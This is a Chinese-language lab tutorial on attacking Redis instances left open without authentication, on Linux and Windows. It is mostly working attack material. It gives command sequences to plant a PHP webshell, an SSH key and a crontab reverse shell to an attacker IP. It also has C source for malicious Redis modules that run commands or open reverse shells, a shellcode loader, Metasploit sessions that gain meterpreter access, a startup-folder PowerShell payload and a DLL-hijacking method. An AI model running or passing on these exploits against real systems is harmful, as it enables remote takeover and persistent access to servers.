redis是什么
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
有什么问题
redis默认安装都是没有密码的,默认配置里bind 127.0.0.1,如果将bind开放到内网ip或直接0.0.0.0就会造成redis的未授权访问。
和其他数据库一样,redis支持导出备份文件,如果redis是以高权限用户(如root)运行的,就可以通过指定导出路径和文件名覆盖任意文件。而redis导出文件的内容是部分可控的,通过写入或覆盖一些有容错的文件就可以执行命令。
利用方法
写webshell
这种利用方式要求知道web目录。如果不知道只能拿常用目录去试。
先在192.168.5.130上开一个redis5,参考https://www.cnblogs.com/Neeo/articles/17609004.html
配置文件里bind改成192.168.5.130
然后在192.168.5.130上开一个php的网站
apt install php7.4-cli
php -S 192.168.5.130:80
kali预装了redis-cli,直接用kali(ip:192.168.5.130)
redis-cli -h 192.168.5.130 -p 6379
自己刚搭的redis肯定是空的,实战环境看情况可以先清一下redis再写文件:
flushall
然后写文件:
#指定文件内容
set payload "\n\n<?php eval($_POST[1]);?>\n\n"
#关闭压缩,payload如果太长有概率被压缩,压缩后会乱码
config set rdbcompression no
#指定输出目录
config set dir /var/www/html/
#指定文件名
config set dbfilename webshell.php
#确认无误后保存输出
save
到/var/www/html/
下看看:
root@ubuntu:/var/www/html# cat webshell.php
REDIS0009� redis-ver5.0.4�
�edis-bits�@�ctime�ن�fused-mem�PV
aof-preamble���payload�
<?php eval($_POST[1]);
� �|���Kroot@ubuntu:/var/www/html#
连接试试
报500了,光换行还是不行,还是要闭合php标签
重写一个<?php eval($_POST['pass']);?>
连接成功
写authorized_keys
安装sshd:
apt install openssh-server
apt装的sshd默认不允许root登录,改一下配置:
vim /etc/ssh/sshd_config
PermitRootLogin yes
没有.ssh
文件夹,ssh localhost
生成sshRSA密钥对(kali上执行):
ssh-keygen -t rsa -C "123"
一定要-C
,或者就自己手动改.pub
文件,不然泄露主机名和用户名。用虚拟机还好,在物理机直接生成就要老命了。
然后写进redis:
echo "\n"|cat - id_rsa.pub | redis-cli -h 192.168.5.130 -x set pub
或者直接复制了用RedisDesktopManager的GUI写也行
RedisDesktopManager的console不转义,不好用,直接用GUI
设置路径和文件名,保存:
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
查看authorized_keys
root@ubuntu:~/.ssh# cat authorized_keys
REDIS0009� redis-ver5.0.4�
�edis-bits�@�ctime�0��fused-mem¨X
aof-preamble���pubB/
ssh-rsa AAAAB3N............VjcPoOE= 123
��3�Ֆ,
ssh连接:
ssh root@192.168.5.130
成功
写crontab反弹shell
ubuntu的crontab不行,遇到错误语法会报错,直接忽略配置文件
centos的crontab忽略错误的继续往下识别,可以用
用的都是Vixie Cron,不知道为什么会有区别
https://security.tencent.com/index.php/blog/msg/206
https://mirrors.huaweicloud.com/centos/7/isos/x86_64/
要开防火墙
iptables -I INPUT -p tcp --dport 6379 -j ACCEPT
kali监听:
nc -nlvp 8888
连接redis后执行:
#设置payload
set shell "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.74.128/8888 0>&1\n\n"
#关闭压缩
config set rdbcompression no
#设置路径、文件名
config set dir /var/spool/cron/
config set dbfilename root
#保存
save
等一会儿就弹回来了
配置文件可以加上MAILTO=""
,不然shell里一直有提示
反弹shell不支持控制字符、不支持交互应用,一般都改造一下,python3 -c "import pty;pty.spawn('/bin/bash')"
CentOS7没有python3,python是python2,执行了也不支持控制字符
https://www.bilibili.com/video/BV1qp4y1Z7Pv
在反弹的shell里执行:
/usr/bin/script -qc /bin/bash /dev/null
#按ctrl+z
stty raw -echo;fg
reset
#在自己终端echo $TERM看一下
xterm
#在自己终端stty -a看一下rows和columns
stty rows 27 columns 78
主从复制RCE
原理是将目标redis设置为自己redis的从机,用全量复制在目标主机写入恶意so文件,然后在从机上加载恶意so文件执行恶意的扩展命令来执行系统命令。
有一个利用脚本,https://github.com/n0b0dyCN/redis-rogue-server,但是这个反弹shell有问题,退出了redis也跟着退出了。
python ./redis-rogue-server.py --lhost 192.168.5.128 --rhost 192.168.5.134
i
是直接用redis加载的恶意命令执行,system.exec "whoami"
r
是反弹shell,会卡住redis,syste.rev ip port
加载的恶意so在redis-rogue-server-master/RedisModulesSDK/exp里,可以自己改了编译
#include "redismodule.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int DoCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 2) {
size_t cmd_len;
size_t size = 1024;
char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
FILE *fp = popen(cmd, "r");
char *buf, *output;
buf = (char *)malloc(size);
output = (char *)malloc(size);
while ( fgets(buf, sizeof(buf), fp) != 0 ) {
if (strlen(buf) + strlen(output) >= size) {
output = realloc(output, size<<2);
size <<= 1;
}
strcat(output, buf);
}
RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
RedisModule_ReplyWithString(ctx, ret);
pclose(fp);
} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}
int RevShellCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 3) {
size_t cmd_len;
char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
int port = atoi(port_s);
int s;
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(ip);
sa.sin_port = htons(port);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx,"system",1,REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
msf里有一个利用模块
┌──(root㉿kali)-[~]
└─# msfconsole -q
msf6 > use exploit/linux/redis/redis_replication_cmd_exec
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set rhosts 192.168.74.131
rhosts => 192.168.74.131
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set lhost 192.168.74.128
lhost => 192.168.74.128
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set srvhost 192.168.74.128
srvhost => 192.168.74.128
msf6 exploit(linux/redis/redis_replication_cmd_exec) > exploit
[*] Started reverse TCP handler on 192.168.74.128:4444
[*] 192.168.74.131:6379 - Compile redis module extension file
[+] 192.168.74.131:6379 - Payload generated successfully!
[*] 192.168.74.131:6379 - Listening on 192.168.74.128:6379
[*] 192.168.74.131:6379 - Rogue server close...
[*] 192.168.74.131:6379 - Sending command to trigger payload.
[*] Sending stage (3045380 bytes) to 192.168.74.131
[+] 192.168.74.131:6379 - Deleted ./dgbzjpnt.so
[*] Meterpreter session 1 opened (192.168.74.128:4444 -> 192.168.74.131:52202) at 2024-09-13 13:06:26 -0400
meterpreter > sysinfo
Computer : 192.168.74.131
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.119.1.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
也会卡住redis,其他的redis-cli不能正常交互,但是退出redis不会跟着退出。
原理是直接加载shellcode上线:
#include "redismodule.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
pid_t child_pid = fork();
if (child_pid == 0)
{
// Your meterpreter shell here
unsigned char buf[] = "\x31......shellcode......\xe6";
int (*ret)() = (int(*)())buf;
ret();
}
else
{wait(NULL);}
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx,"euuvnp",1,REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "euuvnp.utcpu",
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
上线以后可以用web_delivery复制一个session,把redis的session退掉,redis就能正常交互了
windows下的利用
windows也能装redis
要开防火墙
webshell肯定是可以写的,ssh和crontab肯定是不行的,但是window有个开机启动文件夹,路径是C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
或者:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
后者是指定用户登录时生效
启动时会执行目录下的所有文件,而bat文件是有容错的,所以可以往StartUp下写一个恶意的bat执行恶意文件上线
先用msf的web_delivery生成powershell马:
msf6 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > show target
[-] Invalid parameter "target", use "show -h" for more information
msf6 exploit(multi/script/web_delivery) > show targets
Exploit targets:
=================
Id Name
-- ----
=> 0 Python
1 PHP
2 PSH
3 Regsvr32
4 pubprn
5 SyncAppvPublishingServer
6 PSH (Binary)
7 Linux
8 Mac OS X
msf6 exploit(multi/script/web_delivery) > set target 2
target => 2
msf6 exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.5.128
lhost => 192.168.5.128
msf6 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.5.128:4444
[*] Using URL: http://192.168.5.128:8080/uqjHuGQJ
msf6 exploit(multi/script/web_delivery) > [*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e Ww......payload......wA=
然后用redis写到StartUp文件夹里:
flushall
config set dbfilename start.bat
config set dir "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp"
config set rdbcompression no
set payload "\r\n\r\npowershell.exe -nop -w hidden -e Ww......payload......A=\r\n\r\n"
save
要注意由于转义的原因目录分隔符要两个反斜杠,还有windows下的换行是\r\n
查看:
C:\Users\Administrator>type "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\start.bat"
REDIS0009?redis-ve5.0.14.1?redis-bits繞?ctime仑/錰?used-mem掳 ?aof-preamble? ? ? payloadE
powershell.exe -nop -w hidden -e WwB......payload......wA=
j臐柀d昁
C:\Users\Administrator>
注销重新登录,上线
msf6 exploit(multi/script/web_delivery) >
[*] 192.168.5.132 web_delivery - Delivering AMSI Bypass (1389 bytes)
[*] 192.168.5.132 web_delivery - Delivering Payload (3738 bytes)
[*] Sending stage (201798 bytes) to 192.168.5.132
[*] Meterpreter session 1 opened (192.168.5.128:4444 -> 192.168.5.132:64423) at 2024-09-14 02:48:52 -0400
msf6 exploit(multi/script/web_delivery) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/win WIN-UQ7J91UBKRL\Admi 192.168.5.128:4444 -
dows nistrator @ WIN-UQ7J > 192.168.5.132:6442
91UBKRL 3 (192.168.5.132)
msf6 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...
meterpreter >
meterpreter > sysinfo
Computer : WIN-UQ7J91UBKRL
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter >
windows主从复制rce
windows的redis也能加载module,理论上也能导入自定义命令rce
已经有人写过了https://github.com/0671/RedisModules-ExecuteCommand-for-Windows
#define _CRT_SECURE_NO_WARNINGS
#include <string.h>
#include <stdlib.h>
#include "win32_port.h"
#include "redismodule.h"
#ifdef _WIN32
#define strncasecmp(s1, s2, len) _strnicmp(s1, s2, len)
#define strcasecmp(s1, s2) _stricmp(s1, s2)
#endif
char * join(char*s1, char*s2) {
char *result = malloc(strlen(s1) + strlen(s2) + 1 + 1);
if (result == NULL) exit(1);
strcpy(result, s1);
strcat(result, " ");
strcat(result, s2);
return result;
}
int DoCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
char *_cmd;
size_t _cmd_len;
size_t size = 1024;
char *all_cmd = "";
if (argc >= 2)
{
for (size_t i = 1; i < argc; i++)
{
_cmd = RedisModule_StringPtrLen(argv[i], &_cmd_len);
all_cmd = join(all_cmd, _cmd);
}
FILE *fp = _popen(all_cmd, "r");
char *buf, *output;
buf = (char *)malloc(size);
output = "{";
while (fgets(buf, sizeof(buf), fp) != 0) {
output = join(output, buf);
}
output = join(output, "}");
RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
RedisModule_ReplyWithString(ctx, ret);
_pclose(fp);
}
return REDISMODULE_OK;
}
#ifdef _WIN32
__declspec(dllexport)
#endif
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
// Register the module
if (RedisModule_Init(ctx, "exp", 1, REDISMODULE_APIVER_1) ==
REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "exp.e", DoCommand, "readonly", 1, 1, 1) ==
REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
改了一下redis-rogue-server,发现返回带中文不能解码,开始怀疑是编码的问题,后来发现是返回的数据带空格,把中文字节分开了,去上面项目的exp.c
找输出部分:
output = "{";
while (fgets(buf, sizeof(buf), fp) != 0) {
output = join(output, buf);
}
output = join(output, "}");
找到join,发现:
char * join(char*s1, char*s2) {
char *result = malloc(strlen(s1) + strlen(s2) + 1 + 1);
if (result == NULL) exit(1);
strcpy(result, s1);
strcat(result, " ");//这行的问题
strcat(result, s2);
return result;
}
不太懂为什么要加空格,改掉
重新编译了一下,debug版本不行,必须要release版本,取消预编译头,去掉生成pdb文件
正常了
python ./redis-rogue-server-windows.py --lhost 192.168.5.128 --rhost 192.168.5.132 --exp exp.dll
还有一个问题,windows的dll在被占用的时候没法删除,删除就要unload恶意dll,unload之后就不能执行命令
试了几种方法,有的成功了但会弹黑框,暂时没有比较好的方法,先伪装成redis自带的dll
dll劫持rce
在redis启动和执行bgsave的时候会调用dbghelp.dll这个动态链接库,而由于其不在KnownDlls里,所以会在当前目录下搜索,所以用主从复制把恶意dll命名为dbghelp.dll放到redis目录下就可以实现dll劫持
用这个项目:https://github.com/P4r4d1se/dll_hijack
然后执行python .\DLLHijacker.py C:\Windows\System32\dbghelp.dll生成项目
一定要用和靶机相同的系统执行,win11执行生成的项目编译出来的不能在win10上用
生成完项目选release版本编译一下,然后用上面的脚本把这个dll写过去,执行一下bgsave就执行到项目里的Hijack函数了
Hijack函数里是弹计算器的shellcode,可以换成cs或者msf上线的shellcode